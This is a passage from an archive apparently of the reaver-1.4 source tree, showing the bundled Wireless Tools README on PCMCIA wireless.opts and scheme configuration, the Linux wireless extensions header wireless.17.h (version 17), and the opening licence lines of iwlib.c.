Raylink driver as of 1.70 doesn't support writable Wireless Extensions, so enabling wireless.opts on this driver will make things worse. On the other hand, the latest version of the Raylink driver accepts Wireless Extensions at boot time, so the procedure described below will work. Distribution specific notes : --------------------------- Most modern distributions don't use wireless.opts and have their own procedure for wireless configuration, which is usually compatible with their configuration tools and work for non-Pcmcia devices. This is documented in DISTRIBUTIONS.txt. The procedure described here will work only with the original Pcmcia configuration scripts. If you use a precompiled package part of a distributions, this is usually not the case (see above). On the other hand, if you install the Pcmcia package in source form from the official Linux-Pcmcia web site, it will install the proper init scripts and those instructions will apply. Basic support : ------------- The file /etc/pcmcia/wireless.opts contains some templates for the most common drivers. Just fill in your card configuration in the template corresponding to your driver configuration. Then, to activate it, you just need to remove or comment the 4 lines at the top of wireless.opts and restart the Pcmcia package. Things to take care of : The options of wireless.opts will be used directly as arguments of iwconfig. So, you need iwconfig, and you need to check the man page of iwconfig to know how to format them. A quick way to determine the correct options without restarting Pcmcia is to play a bit with iwconfig directly to see what is possible and what is the proper setup of the card and to copy that in wireless.opts. At the end of wireless.opts, there is also a generic template containing all the possible options and explaining their meaning. Not all of them are supported by all cards (actually, most cards support a limited subset of it). The current card templates are designed to match the MAC address of the card. Please check that this matches with your card. Also, sample describe the most common/useful options available with the card, for more advance option, borrow options from the template. You can also remove some options, the card will usually initialise with a sane value. Alternatively, you can also discard the current wireless.opts and replace it with a file looking like this : ----------- wireless.opts --------------------- case "$ADDRESS" in *,*,*,*) ESSID="MY_ESSID" MODE="Managed" ;; esac ----------------------------------------------- Scheme support : -------------- The file wireless.opts fully supports schemes. This allow you to define different configurations (home, work...) and to switch on the fly between them. The best way to explain it is to show an example. Let's say you have an infrastructured setup at work (MY_WORK) and an Ad-Hoc network at home (MY_HOME). Moreover, when a specific card is inserted, you want it to be in Ad-Hoc mode (TEST). The work setup will be the default... Each Wireless LAN will have the following configuration : --------- wireless.opts -------------------- # Lucent Wavelan IEEE - Ad-Hoc mode for test card *,*,*,00:60:1D:03:9F:2D) ESSID="TEST" MODE="Ad-Hoc" FREQ="10" RATE="1M" ;; # Lucent Wavelan IEEE - Ad-Hoc mode at home home,*,*,00:60:1D:*|home,*,*,00:02:2D:*) ESSID="MY_HOME" MODE="Ad-Hoc" FREQ="5" ;; # Lucent Wavelan IEEE - infrastructured mode at work *,*,*,00:60:1D:*|*,*,*,00:02:2D:*) ESSID="MY_WORK" MODE="Managed" KEY="s:verysecurekey" ;; -------------------------------------------- Don't forget the IP configuration : --------- network.opts --------------------- # Wavelan IEEE : ad-hoc mode for test card *,*,*,00:60:1D:03:9F:2D) DHCP="n" IPADDR="10.0.0.1" NETMASK="255.255.255.0" NETWORK="10.0.0.0" BROADCAST="10.0.0.255" ;; # Wavelan IEEE : ad-hoc mode at home home,*,*,00:60:1D:*|home,*,*,00:02:2D:*) DHCP="n" IPADDR="10.0.1.19" NETMASK="255.255.255.0" NETWORK="10.0.1.0" BROADCAST="10.0.1.255" GATEWAY="15.0.1.1" ;; # Wavelan IEEE : infrastructured mode at work *,*,*,00:60:1D:*|*,*,*,00:02:2D:*) DHCP="y" ;; -------------------------------------------- Now, when you are at work you do : > cardctl scheme default And at home, you do : > cardctl scheme home I guess you get the idea ;-) More elaborated configurations : ------------------------------ Some people may need some more complex configurations. For example, you might want to do one of the following thing : o cycle through a set of schemes o autodetect the proper scheme There is currently no support to do that. However, the Wireless Tools package contains a tool called "iwgetid" that can help in this job. The source code contains some hints on how to achieve the above thing. If you ever write such a package, please send me the URL. Good luck ! Jean reaver-1.4/src/lwe/wireless.17.h0000755000175000017500000007135711705505257016035 0ustar reaverreaver/* * This file define a set of standard wireless extensions * * Version : 17 21.6.04 * * Authors : Jean Tourrilhes - HPL - * Copyright (c) 1997-2004 Jean Tourrilhes, All Rights Reserved. */ #ifndef _LINUX_WIRELESS_H #define _LINUX_WIRELESS_H /************************** DOCUMENTATION **************************/ /* * Initial APIs (1996 -> onward) : * ----------------------------- * Basically, the wireless extensions are for now a set of standard ioctl * call + /proc/net/wireless * * The entry /proc/net/wireless give statistics and information on the * driver. * This is better than having each driver having its entry because * its centralised and we may remove the driver module safely. * * Ioctl are used to configure the driver and issue commands. This is * better than command line options of insmod because we may want to * change dynamically (while the driver is running) some parameters. * * The ioctl mechanimsm are copied from standard devices ioctl. * We have the list of command plus a structure descibing the * data exchanged... * Note that to add these ioctl, I was obliged to modify : * # net/core/dev.c (two place + add include) * # net/ipv4/af_inet.c (one place + add include) * * /proc/net/wireless is a copy of /proc/net/dev. * We have a structure for data passed from the driver to /proc/net/wireless * Too add this, I've modified : * # net/core/dev.c (two other places) * # include/linux/netdevice.h (one place) * # include/linux/proc_fs.h (one place) * * New driver API (2002 -> onward) : * ------------------------------- * This file is only concerned with the user space API and common definitions. * The new driver API is defined and documented in : * # include/net/iw_handler.h * * Note as well that /proc/net/wireless implementation has now moved in : * # net/core/wireless.c * * Wireless Events (2002 -> onward) : * -------------------------------- * Events are defined at the end of this file, and implemented in : * # net/core/wireless.c * * Other comments : * -------------- * Do not add here things that are redundant with other mechanisms * (drivers init, ifconfig, /proc/net/dev, ...) and with are not * wireless specific. * * These wireless extensions are not magic : each driver has to provide * support for them... * * IMPORTANT NOTE : As everything in the kernel, this is very much a * work in progress. Contact me if you have ideas of improvements... */ /***************************** INCLUDES *****************************/ /* To minimise problems in user space, I might remove those headers * at some point. Jean II */ #include /* for "caddr_t" et al */ #include /* for "struct sockaddr" et al */ #include /* for IFNAMSIZ and co... */ /***************************** VERSION *****************************/ /* * This constant is used to know the availability of the wireless * extensions and to know which version of wireless extensions it is * (there is some stuff that will be added in the future...) * I just plan to increment with each new version. */ #define WIRELESS_EXT 17 /* * Changes : * * V2 to V3 * -------- * Alan Cox start some incompatibles changes. I've integrated a bit more. * - Encryption renamed to Encode to avoid US regulation problems * - Frequency changed from float to struct to avoid problems on old 386 * * V3 to V4 * -------- * - Add sensitivity * * V4 to V5 * -------- * - Missing encoding definitions in range * - Access points stuff * * V5 to V6 * -------- * - 802.11 support (ESSID ioctls) * * V6 to V7 * -------- * - define IW_ESSID_MAX_SIZE and IW_MAX_AP * * V7 to V8 * -------- * - Changed my e-mail address * - More 802.11 support (nickname, rate, rts, frag) * - List index in frequencies * * V8 to V9 * -------- * - Support for 'mode of operation' (ad-hoc, managed...) * - Support for unicast and multicast power saving * - Change encoding to support larger tokens (>64 bits) * - Updated iw_params (disable, flags) and use it for NWID * - Extracted iw_point from iwreq for clarity * * V9 to V10 * --------- * - Add PM capability to range structure * - Add PM modifier : MAX/MIN/RELATIVE * - Add encoding option : IW_ENCODE_NOKEY * - Add TxPower ioctls (work like TxRate) * * V10 to V11 * ---------- * - Add WE version in range (help backward/forward compatibility) * - Add retry ioctls (work like PM) * * V11 to V12 * ---------- * - Add SIOCSIWSTATS to get /proc/net/wireless programatically * - Add DEV PRIVATE IOCTL to avoid collisions in SIOCDEVPRIVATE space * - Add new statistics (frag, retry, beacon) * - Add average quality (for user space calibration) * * V12 to V13 * ---------- * - Document creation of new driver API. * - Extract union iwreq_data from struct iwreq (for new driver API). * - Rename SIOCSIWNAME as SIOCSIWCOMMIT * * V13 to V14 * ---------- * - Wireless Events support : define struct iw_event * - Define additional specific event numbers * - Add "addr" and "param" fields in union iwreq_data * - AP scanning stuff (SIOCSIWSCAN and friends) * * V14 to V15 * ---------- * - Add IW_PRIV_TYPE_ADDR for struct sockaddr private arg * - Make struct iw_freq signed (both m & e), add explicit padding * - Add IWEVCUSTOM for driver specific event/scanning token * - Add IW_MAX_GET_SPY for driver returning a lot of addresses * - Add IW_TXPOW_RANGE for range of Tx Powers * - Add IWEVREGISTERED & IWEVEXPIRED events for Access Points * - Add IW_MODE_MONITOR for passive monitor * * V15 to V16 * ---------- * - Increase the number of bitrates in iw_range to 32 (for 802.11g) * - Increase the number of frequencies in iw_range to 32 (for 802.11b+a) * - Reshuffle struct iw_range for increases, add filler * - Increase IW_MAX_AP to 64 for driver returning a lot of addresses * - Remove IW_MAX_GET_SPY because conflict with enhanced spy support * - Add SIOCSIWTHRSPY/SIOCGIWTHRSPY and "struct iw_thrspy" * - Add IW_ENCODE_TEMP and iw_range->encoding_login_index * * V16 to V17 * ---------- * - Add flags to frequency -> auto/fixed * - Document (struct iw_quality *)->updated, add new flags (INVALID) * - Wireless Event capability in struct iw_range * - Add support for relative TxPower (yick !) */ /**************************** CONSTANTS ****************************/ /* -------------------------- IOCTL LIST -------------------------- */ /* Wireless Identification */ #define SIOCSIWCOMMIT 0x8B00 /* Commit pending changes to driver */ #define SIOCGIWNAME 0x8B01 /* get name == wireless protocol */ /* SIOCGIWNAME is used to verify the presence of Wireless Extensions. * Common values : "IEEE 802.11-DS", "IEEE 802.11-FH", "IEEE 802.11b"... * Don't put the name of your driver there, it's useless. */ /* Basic operations */ #define SIOCSIWNWID 0x8B02 /* set network id (pre-802.11) */ #define SIOCGIWNWID 0x8B03 /* get network id (the cell) */ #define SIOCSIWFREQ 0x8B04 /* set channel/frequency (Hz) */ #define SIOCGIWFREQ 0x8B05 /* get channel/frequency (Hz) */ #define SIOCSIWMODE 0x8B06 /* set operation mode */ #define SIOCGIWMODE 0x8B07 /* get operation mode */ #define SIOCSIWSENS 0x8B08 /* set sensitivity (dBm) */ #define SIOCGIWSENS 0x8B09 /* get sensitivity (dBm) */ /* Informative stuff */ #define SIOCSIWRANGE 0x8B0A /* Unused */ #define SIOCGIWRANGE 0x8B0B /* Get range of parameters */ #define SIOCSIWPRIV 0x8B0C /* Unused */ #define SIOCGIWPRIV 0x8B0D /* get private ioctl interface info */ #define SIOCSIWSTATS 0x8B0E /* Unused */ #define SIOCGIWSTATS 0x8B0F /* Get /proc/net/wireless stats */ /* SIOCGIWSTATS is strictly used between user space and the kernel, and * is never passed to the driver (i.e. the driver will never see it). */ /* Spy support (statistics per MAC address - used for Mobile IP support) */ #define SIOCSIWSPY 0x8B10 /* set spy addresses */ #define SIOCGIWSPY 0x8B11 /* get spy info (quality of link) */ #define SIOCSIWTHRSPY 0x8B12 /* set spy threshold (spy event) */ #define SIOCGIWTHRSPY 0x8B13 /* get spy threshold */ /* Access Point manipulation */ #define SIOCSIWAP 0x8B14 /* set access point MAC addresses */ #define SIOCGIWAP 0x8B15 /* get access point MAC addresses */ #define SIOCGIWAPLIST 0x8B17 /* Deprecated in favor of scanning */ #define SIOCSIWSCAN 0x8B18 /* trigger scanning (list cells) */ #define SIOCGIWSCAN 0x8B19 /* get scanning results */ /* 802.11 specific support */ #define SIOCSIWESSID 0x8B1A /* set ESSID (network name) */ #define SIOCGIWESSID 0x8B1B /* get ESSID */ #define SIOCSIWNICKN 0x8B1C /* set node name/nickname */ #define SIOCGIWNICKN 0x8B1D /* get node name/nickname */ /* As the ESSID and NICKN are strings up to 32 bytes long, it doesn't fit * within the 'iwreq' structure, so we need to use the 'data' member to * point to a string in user space, like it is done for RANGE... */ /* Other parameters useful in 802.11 and some other devices */ #define SIOCSIWRATE 0x8B20 /* set default bit rate (bps) */ #define SIOCGIWRATE 0x8B21 /* get default bit rate (bps) */ #define SIOCSIWRTS 0x8B22 /* set RTS/CTS threshold (bytes) */ #define SIOCGIWRTS 0x8B23 /* get RTS/CTS threshold (bytes) */ #define SIOCSIWFRAG 0x8B24 /* set fragmentation thr (bytes) */ #define SIOCGIWFRAG 0x8B25 /* get fragmentation thr (bytes) */ #define SIOCSIWTXPOW 0x8B26 /* set transmit power (dBm) */ #define SIOCGIWTXPOW 0x8B27 /* get transmit power (dBm) */ #define SIOCSIWRETRY 0x8B28 /* set retry limits and lifetime */ #define SIOCGIWRETRY 0x8B29 /* get retry limits and lifetime */ /* Encoding stuff (scrambling, hardware security, WEP...) */ #define SIOCSIWENCODE 0x8B2A /* set encoding token & mode */ #define SIOCGIWENCODE 0x8B2B /* get encoding token & mode */ /* Power saving stuff (power management, unicast and multicast) */ #define SIOCSIWPOWER 0x8B2C /* set Power Management settings */ #define SIOCGIWPOWER 0x8B2D /* get Power Management settings */ /* -------------------- DEV PRIVATE IOCTL LIST -------------------- */ /* These 32 ioctl are wireless device private, for 16 commands. * Each driver is free to use them for whatever purpose it chooses, * however the driver *must* export the description of those ioctls * with SIOCGIWPRIV and *must* use arguments as defined below. * If you don't follow those rules, DaveM is going to hate you (reason : * it make mixed 32/64bit operation impossible). */ #define SIOCIWFIRSTPRIV 0x8BE0 #define SIOCIWLASTPRIV 0x8BFF /* Previously, we were using SIOCDEVPRIVATE, but we now have our * separate range because of collisions with other tools such as * 'mii-tool'. * We now have 32 commands, so a bit more space ;-). * Also, all 'odd' commands are only usable by root and don't return the * content of ifr/iwr to user (but you are not obliged to use the set/get * convention, just use every other two command). More details in iwpriv.c. * And I repeat : you are not forced to use them with iwpriv, but you * must be compliant with it. */ /* ------------------------- IOCTL STUFF ------------------------- */ /* The first and the last (range) */ #define SIOCIWFIRST 0x8B00 #define SIOCIWLAST SIOCIWLASTPRIV /* 0x8BFF */ /* Even : get (world access), odd : set (root access) */ #define IW_IS_SET(cmd) (!((cmd) & 0x1)) #define IW_IS_GET(cmd) ((cmd) & 0x1) /* ----------------------- WIRELESS EVENTS ----------------------- */ /* Those are *NOT* ioctls, do not issue request on them !!! */ /* Most events use the same identifier as ioctl requests */ #define IWEVTXDROP 0x8C00 /* Packet dropped to excessive retry */ #define IWEVQUAL 0x8C01 /* Quality part of statistics (scan) */ #define IWEVCUSTOM 0x8C02 /* Driver specific ascii string */ #define IWEVREGISTERED 0x8C03 /* Discovered a new node (AP mode) */ #define IWEVEXPIRED 0x8C04 /* Expired a node (AP mode) */ #define IWEVFIRST 0x8C00 /* ------------------------- PRIVATE INFO ------------------------- */ /* * The following is used with SIOCGIWPRIV. It allow a driver to define * the interface (name, type of data) for its private ioctl. * Privates ioctl are SIOCIWFIRSTPRIV -> SIOCIWLASTPRIV */ #define IW_PRIV_TYPE_MASK 0x7000 /* Type of arguments */ #define IW_PRIV_TYPE_NONE 0x0000 #define IW_PRIV_TYPE_BYTE 0x1000 /* Char as number */ #define IW_PRIV_TYPE_CHAR 0x2000 /* Char as character */ #define IW_PRIV_TYPE_INT 0x4000 /* 32 bits int */ #define IW_PRIV_TYPE_FLOAT 0x5000 /* struct iw_freq */ #define IW_PRIV_TYPE_ADDR 0x6000 /* struct sockaddr */ #define IW_PRIV_SIZE_FIXED 0x0800 /* Variable or fixed number of args */ #define IW_PRIV_SIZE_MASK 0x07FF /* Max number of those args */ /* * Note : if the number of args is fixed and the size < 16 octets, * instead of passing a pointer we will put args in the iwreq struct... */ /* ----------------------- OTHER CONSTANTS ----------------------- */ /* Maximum frequencies in the range struct */ #define IW_MAX_FREQUENCIES 32 /* Note : if you have something like 80 frequencies, * don't increase this constant and don't fill the frequency list. * The user will be able to set by channel anyway... */ /* Maximum bit rates in the range struct */ #define IW_MAX_BITRATES 32 /* Maximum tx powers in the range struct */ #define IW_MAX_TXPOWER 8 /* Note : if you more than 8 TXPowers, just set the max and min or * a few of them in the struct iw_range. */ /* Maximum of address that you may set with SPY */ #define IW_MAX_SPY 8 /* Maximum of address that you may get in the list of access points in range */ #define IW_MAX_AP 64 /* Maximum size of the ESSID and NICKN strings */ #define IW_ESSID_MAX_SIZE 32 /* Modes of operation */ #define IW_MODE_AUTO 0 /* Let the driver decides */ #define IW_MODE_ADHOC 1 /* Single cell network */ #define IW_MODE_INFRA 2 /* Multi cell network, roaming, ... */ #define IW_MODE_MASTER 3 /* Synchronisation master or Access Point */ #define IW_MODE_REPEAT 4 /* Wireless Repeater (forwarder) */ #define IW_MODE_SECOND 5 /* Secondary master/repeater (backup) */ #define IW_MODE_MONITOR 6 /* Passive monitor (listen only) */ /* Statistics flags (bitmask in updated) */ #define IW_QUAL_QUAL_UPDATED 0x1 /* Value was updated since last read */ #define IW_QUAL_LEVEL_UPDATED 0x2 #define IW_QUAL_NOISE_UPDATED 0x4 #define IW_QUAL_QUAL_INVALID 0x10 /* Driver doesn't provide value */ #define IW_QUAL_LEVEL_INVALID 0x20 #define IW_QUAL_NOISE_INVALID 0x40 /* Frequency flags */ #define IW_FREQ_AUTO 0x00 /* Let the driver decides */ #define IW_FREQ_FIXED 0x01 /* Force a specific value */ /* Maximum number of size of encoding token available * they are listed in the range structure */ #define IW_MAX_ENCODING_SIZES 8 /* Maximum size of the encoding token in bytes */ #define IW_ENCODING_TOKEN_MAX 32 /* 256 bits (for now) */ /* Flags for encoding (along with the token) */ #define IW_ENCODE_INDEX 0x00FF /* Token index (if needed) */ #define IW_ENCODE_FLAGS 0xFF00 /* Flags defined below */ #define IW_ENCODE_MODE 0xF000 /* Modes defined below */ #define IW_ENCODE_DISABLED 0x8000 /* Encoding disabled */ #define IW_ENCODE_ENABLED 0x0000 /* Encoding enabled */ #define IW_ENCODE_RESTRICTED 0x4000 /* Refuse non-encoded packets */ #define IW_ENCODE_OPEN 0x2000 /* Accept non-encoded packets */ #define IW_ENCODE_NOKEY 0x0800 /* Key is write only, so not present */ #define IW_ENCODE_TEMP 0x0400 /* Temporary key */ /* Power management flags available (along with the value, if any) */ #define IW_POWER_ON 0x0000 /* No details... */ #define IW_POWER_TYPE 0xF000 /* Type of parameter */ #define IW_POWER_PERIOD 0x1000 /* Value is a period/duration of */ #define IW_POWER_TIMEOUT 0x2000 /* Value is a timeout (to go asleep) */ #define IW_POWER_MODE 0x0F00 /* Power Management mode */ #define IW_POWER_UNICAST_R 0x0100 /* Receive only unicast messages */ #define IW_POWER_MULTICAST_R 0x0200 /* Receive only multicast messages */ #define IW_POWER_ALL_R 0x0300 /* Receive all messages though PM */ #define IW_POWER_FORCE_S 0x0400 /* Force PM procedure for sending unicast */ #define IW_POWER_REPEATER 0x0800 /* Repeat broadcast messages in PM period */ #define IW_POWER_MODIFIER 0x000F /* Modify a parameter */ #define IW_POWER_MIN 0x0001 /* Value is a minimum */ #define IW_POWER_MAX 0x0002 /* Value is a maximum */ #define IW_POWER_RELATIVE 0x0004 /* Value is not in seconds/ms/us */ /* Transmit Power flags available */ #define IW_TXPOW_TYPE 0x00FF /* Type of value */ #define IW_TXPOW_DBM 0x0000 /* Value is in dBm */ #define IW_TXPOW_MWATT 0x0001 /* Value is in mW */ #define IW_TXPOW_RELATIVE 0x0002 /* Value is in arbitrary units */ #define IW_TXPOW_RANGE 0x1000 /* Range of value between min/max */ /* Retry limits and lifetime flags available */ #define IW_RETRY_ON 0x0000 /* No details... */ #define IW_RETRY_TYPE 0xF000 /* Type of parameter */ #define IW_RETRY_LIMIT 0x1000 /* Maximum number of retries*/ #define IW_RETRY_LIFETIME 0x2000 /* Maximum duration of retries in us */ #define IW_RETRY_MODIFIER 0x000F /* Modify a parameter */ #define IW_RETRY_MIN 0x0001 /* Value is a minimum */ #define IW_RETRY_MAX 0x0002 /* Value is a maximum */ #define IW_RETRY_RELATIVE 0x0004 /* Value is not in seconds/ms/us */ /* Scanning request flags */ #define IW_SCAN_DEFAULT 0x0000 /* Default scan of the driver */ #define IW_SCAN_ALL_ESSID 0x0001 /* Scan all ESSIDs */ #define IW_SCAN_THIS_ESSID 0x0002 /* Scan only this ESSID */ #define IW_SCAN_ALL_FREQ 0x0004 /* Scan all Frequencies */ #define IW_SCAN_THIS_FREQ 0x0008 /* Scan only this Frequency */ #define IW_SCAN_ALL_MODE 0x0010 /* Scan all Modes */ #define IW_SCAN_THIS_MODE 0x0020 /* Scan only this Mode */ #define IW_SCAN_ALL_RATE 0x0040 /* Scan all Bit-Rates */ #define IW_SCAN_THIS_RATE 0x0080 /* Scan only this Bit-Rate */ /* Maximum size of returned data */ #define IW_SCAN_MAX_DATA 4096 /* In bytes */ /* Max number of char in custom event - use multiple of them if needed */ #define IW_CUSTOM_MAX 256 /* In bytes */ /* Event capability macros - in (struct iw_range *)->event_capa * Because we have more than 32 possible events, we use an array of * 32 bit bitmasks. Note : 32 bits = 0x20 = 2^5. */ #define IW_EVENT_CAPA_BASE(cmd) ((cmd >= SIOCIWFIRSTPRIV) ? \ (cmd - SIOCIWFIRSTPRIV + 0x60) : \ (cmd - SIOCSIWCOMMIT)) #define IW_EVENT_CAPA_INDEX(cmd) (IW_EVENT_CAPA_BASE(cmd) >> 5) #define IW_EVENT_CAPA_MASK(cmd) (1 << (IW_EVENT_CAPA_BASE(cmd) & 0x1F)) /* Event capability constants - event autogenerated by the kernel * This list is valid for most 802.11 devices, customise as needed... */ #define IW_EVENT_CAPA_K_0 (IW_EVENT_CAPA_MASK(0x8B04) | \ IW_EVENT_CAPA_MASK(0x8B06) | \ IW_EVENT_CAPA_MASK(0x8B1A)) #define IW_EVENT_CAPA_K_1 (IW_EVENT_CAPA_MASK(0x8B2A)) /* "Easy" macro to set events in iw_range (less efficient) */ #define IW_EVENT_CAPA_SET(event_capa, cmd) (event_capa[IW_EVENT_CAPA_INDEX(cmd)] |= IW_EVENT_CAPA_MASK(cmd)) #define IW_EVENT_CAPA_SET_KERNEL(event_capa) {event_capa[0] |= IW_EVENT_CAPA_K_0; event_capa[1] |= IW_EVENT_CAPA_K_1; } /****************************** TYPES ******************************/ /* --------------------------- SUBTYPES --------------------------- */ /* * Generic format for most parameters that fit in an int */ struct iw_param { __s32 value; /* The value of the parameter itself */ __u8 fixed; /* Hardware should not use auto select */ __u8 disabled; /* Disable the feature */ __u16 flags; /* Various specifc flags (if any) */ }; /* * For all data larger than 16 octets, we need to use a * pointer to memory allocated in user space. */ struct iw_point { caddr_t pointer; /* Pointer to the data (in user space) */ __u16 length; /* number of fields or size in bytes */ __u16 flags; /* Optional params */ }; /* * A frequency * For numbers lower than 10^9, we encode the number in 'm' and * set 'e' to 0 * For number greater than 10^9, we divide it by the lowest power * of 10 to get 'm' lower than 10^9, with 'm'= f / (10^'e')... * The power of 10 is in 'e', the result of the division is in 'm'. */ struct iw_freq { __s32 m; /* Mantissa */ __s16 e; /* Exponent */ __u8 i; /* List index (when in range struct) */ __u8 flags; /* Flags (fixed/auto) */ }; /* * Quality of the link */ struct iw_quality { __u8 qual; /* link quality (%retries, SNR, %missed beacons or better...) */ __u8 level; /* signal level (dBm) */ __u8 noise; /* noise level (dBm) */ __u8 updated; /* Flags to know if updated */ }; /* * Packet discarded in the wireless adapter due to * "wireless" specific problems... * Note : the list of counter and statistics in net_device_stats * is already pretty exhaustive, and you should use that first. * This is only additional stats... */ struct iw_discarded { __u32 nwid; /* Rx : Wrong nwid/essid */ __u32 code; /* Rx : Unable to code/decode (WEP) */ __u32 fragment; /* Rx : Can't perform MAC reassembly */ __u32 retries; /* Tx : Max MAC retries num reached */ __u32 misc; /* Others cases */ }; /* * Packet/Time period missed in the wireless adapter due to * "wireless" specific problems... */ struct iw_missed { __u32 beacon; /* Missed beacons/superframe */ }; /* * Quality range (for spy threshold) */ struct iw_thrspy { struct sockaddr addr; /* Source address (hw/mac) */ struct iw_quality qual; /* Quality of the link */ struct iw_quality low; /* Low threshold */ struct iw_quality high; /* High threshold */ }; /* ------------------------ WIRELESS STATS ------------------------ */ /* * Wireless statistics (used for /proc/net/wireless) */ struct iw_statistics { __u16 status; /* Status * - device dependent for now */ struct iw_quality qual; /* Quality of the link * (instant/mean/max) */ struct iw_discarded discard; /* Packet discarded counts */ struct iw_missed miss; /* Packet missed counts */ }; /* ------------------------ IOCTL REQUEST ------------------------ */ /* * This structure defines the payload of an ioctl, and is used * below. * * Note that this structure should fit on the memory footprint * of iwreq (which is the same as ifreq), which mean a max size of * 16 octets = 128 bits. Warning, pointers might be 64 bits wide... * You should check this when increasing the structures defined * above in this file... */ union iwreq_data { /* Config - generic */ char name[IFNAMSIZ]; /* Name : used to verify the presence of wireless extensions. * Name of the protocol/provider... */ struct iw_point essid; /* Extended network name */ struct iw_param nwid; /* network id (or domain - the cell) */ struct iw_freq freq; /* frequency or channel : * 0-1000 = channel * > 1000 = frequency in Hz */ struct iw_param sens; /* signal level threshold */ struct iw_param bitrate; /* default bit rate */ struct iw_param txpower; /* default transmit power */ struct iw_param rts; /* RTS threshold threshold */ struct iw_param frag; /* Fragmentation threshold */ __u32 mode; /* Operation mode */ struct iw_param retry; /* Retry limits & lifetime */ struct iw_point encoding; /* Encoding stuff : tokens */ struct iw_param power; /* PM duration/timeout */ struct iw_quality qual; /* Quality part of statistics */ struct sockaddr ap_addr; /* Access point address */ struct sockaddr addr; /* Destination address (hw/mac) */ struct iw_param param; /* Other small parameters */ struct iw_point data; /* Other large parameters */ }; /* * The structure to exchange data for ioctl. * This structure is the same as 'struct ifreq', but (re)defined for * convenience... * Do I need to remind you about structure size (32 octets) ? */ struct iwreq { union { char ifrn_name[IFNAMSIZ]; /* if name, e.g. "eth0" */ } ifr_ifrn; /* Data part (defined just above) */ union iwreq_data u; }; /* -------------------------- IOCTL DATA -------------------------- */ /* * For those ioctl which want to exchange mode data that what could * fit in the above structure... */ /* * Range of parameters */ struct iw_range { /* Informative stuff (to choose between different interface) */ __u32 throughput; /* To give an idea... */ /* In theory this value should be the maximum benchmarked * TCP/IP throughput, because with most of these devices the * bit rate is meaningless (overhead an co) to estimate how * fast the connection will go and pick the fastest one. * I suggest people to play with Netperf or any benchmark... */ /* NWID (or domain id) */ __u32 min_nwid; /* Minimal NWID we are able to set */ __u32 max_nwid; /* Maximal NWID we are able to set */ /* Old Frequency (backward compat - moved lower ) */ __u16 old_num_channels; __u8 old_num_frequency; /* Wireless event capability bitmasks */ __u32 event_capa[6]; /* signal level threshold range */ __s32 sensitivity; /* Quality of link & SNR stuff */ /* Quality range (link, level, noise) * If the quality is absolute, it will be in the range [0 ; max_qual], * if the quality is dBm, it will be in the range [max_qual ; 0]. * Don't forget that we use 8 bit arithmetics... */ struct iw_quality max_qual; /* Quality of the link */ /* This should contain the average/typical values of the quality * indicator. This should be the threshold between a "good" and * a "bad" link (example : monitor going from green to orange). * Currently, user space apps like quality monitors don't have any * way to calibrate the measurement. With this, they can split * the range between 0 and max_qual in different quality level * (using a geometric subdivision centered on the average). * I expect that people doing the user space apps will feedback * us on which value we need to put in each driver... */ struct iw_quality avg_qual; /* Quality of the link */ /* Rates */ __u8 num_bitrates; /* Number of entries in the list */ __s32 bitrate[IW_MAX_BITRATES]; /* list, in bps */ /* RTS threshold */ __s32 min_rts; /* Minimal RTS threshold */ __s32 max_rts; /* Maximal RTS threshold */ /* Frag threshold */ __s32 min_frag; /* Minimal frag threshold */ __s32 max_frag; /* Maximal frag threshold */ /* Power Management duration & timeout */ __s32 min_pmp; /* Minimal PM period */ __s32 max_pmp; /* Maximal PM period */ __s32 min_pmt; /* Minimal PM timeout */ __s32 max_pmt; /* Maximal PM timeout */ __u16 pmp_flags; /* How to decode max/min PM period */ __u16 pmt_flags; /* How to decode max/min PM timeout */ __u16 pm_capa; /* What PM options are supported */ /* Encoder stuff */ __u16 encoding_size[IW_MAX_ENCODING_SIZES]; /* Different token sizes */ __u8 num_encoding_sizes; /* Number of entry in the list */ __u8 max_encoding_tokens; /* Max number of tokens */ /* For drivers that need a "login/passwd" form */ __u8 encoding_login_index; /* token index for login token */ /* Transmit power */ __u16 txpower_capa; /* What options are supported */ __u8 num_txpower; /* Number of entries in the list */ __s32 txpower[IW_MAX_TXPOWER]; /* list, in bps */ /* Wireless Extension version info */ __u8 we_version_compiled; /* Must be WIRELESS_EXT */ __u8 we_version_source; /* Last update of source */ /* Retry limits and lifetime */ __u16 retry_capa; /* What retry options are supported */ __u16 retry_flags; /* How to decode max/min retry limit */ __u16 r_time_flags; /* How to decode max/min retry life */ __s32 min_retry; /* Minimal number of retries */ __s32 max_retry; /* Maximal number of retries */ __s32 min_r_time; /* Minimal retry lifetime */ __s32 max_r_time; /* Maximal retry lifetime */ /* Frequency */ __u16 num_channels; /* Number of channels [0; num - 1] */ __u8 num_frequency; /* Number of entry in the list */ struct iw_freq freq[IW_MAX_FREQUENCIES]; /* list */ /* Note : this frequency list doesn't need to fit channel numbers, * because each entry contain its channel index */ }; /* * Private ioctl interface information */ struct iw_priv_args { __u32 cmd; /* Number of the ioctl to issue */ __u16 set_args; /* Type and number of args */ __u16 get_args; /* Type and number of args */ char name[IFNAMSIZ]; /* Name of the extension */ }; /* ----------------------- WIRELESS EVENTS ----------------------- */ /* * Wireless events are carried through the rtnetlink socket to user * space. They are encapsulated in the IFLA_WIRELESS field of * a RTM_NEWLINK message. */ /* * A Wireless Event. Contains basically the same data as the ioctl... */ struct iw_event { __u16 len; /* Real lenght of this stuff */ __u16 cmd; /* Wireless IOCTL */ union iwreq_data u; /* IOCTL fixed payload */ }; /* Size of the Event prefix (including padding and alignement junk) */ #define IW_EV_LCP_LEN (sizeof(struct iw_event) - sizeof(union iwreq_data)) /* Size of the various events */ #define IW_EV_CHAR_LEN (IW_EV_LCP_LEN + IFNAMSIZ) #define IW_EV_UINT_LEN (IW_EV_LCP_LEN + sizeof(__u32)) #define IW_EV_FREQ_LEN (IW_EV_LCP_LEN + sizeof(struct iw_freq)) #define IW_EV_POINT_LEN (IW_EV_LCP_LEN + sizeof(struct iw_point)) #define IW_EV_PARAM_LEN (IW_EV_LCP_LEN + sizeof(struct iw_param)) #define IW_EV_ADDR_LEN (IW_EV_LCP_LEN + sizeof(struct sockaddr)) #define IW_EV_QUAL_LEN (IW_EV_LCP_LEN + sizeof(struct iw_quality)) /* Note : in the case of iw_point, the extra data will come at the * end of the event */ #endif /* _LINUX_WIRELESS_H */ reaver-1.4/src/lwe/iwlib.c0000755000175000017500000025506711705505257015055 0ustar reaverreaver/* * Wireless Tools * * Jean II - HPLB 97->99 - HPL 99->07 * * Common subroutines to all the wireless tools... * * This file is released under the GPL license. * Copyright (c) 1997-2007 Jean Tourrilhes */ /***************************** INCLUDES *****************************/ #include "iwlib.h" /* Header */ /************************ CONSTANTS & MACROS ************************/ /* * Constants fof 